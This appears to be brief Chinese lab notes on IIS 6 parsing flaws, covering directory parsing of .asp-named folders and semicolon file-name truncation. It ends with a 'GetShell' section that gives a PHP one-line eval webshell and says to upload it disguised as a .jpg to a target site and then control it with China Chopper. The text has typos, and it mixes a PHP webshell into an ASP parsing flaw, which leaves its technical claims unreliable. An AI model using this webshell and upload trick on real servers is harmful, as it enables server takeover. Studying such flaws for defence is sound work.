IIS解析漏洞

一、目录解析

在网站下建立文件夹的名字为，asp或者.asa的文件夹，其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

启动Windows Server 2003 Enterprise Edition

打开默认网站，新建1.asp，在里面再新建1.txt，写入一段代码“<%=now%>”

使用物理机访问192.168.188.129/1.asp/1.txt

二、畸形文件解析

在IIS 6处理文件解析时，分号可以起到截断的效果。也就是说shell..asp;jpg会被服务器看成是shell.asp。另外lS 6.0默认的可执行文件除了asp还包含asa\cer\cdx

打开默认网站，新建1.asp;.jpg

使用物理机访问

三、GetShell

将PHP一句话木马写到shell.php并更改后缀为shell.jpg上传到目标站点利用解析漏洞进行访问

一句话木马

<?php @eval($_POST['pass']);?>

访问

用中国菜刀连接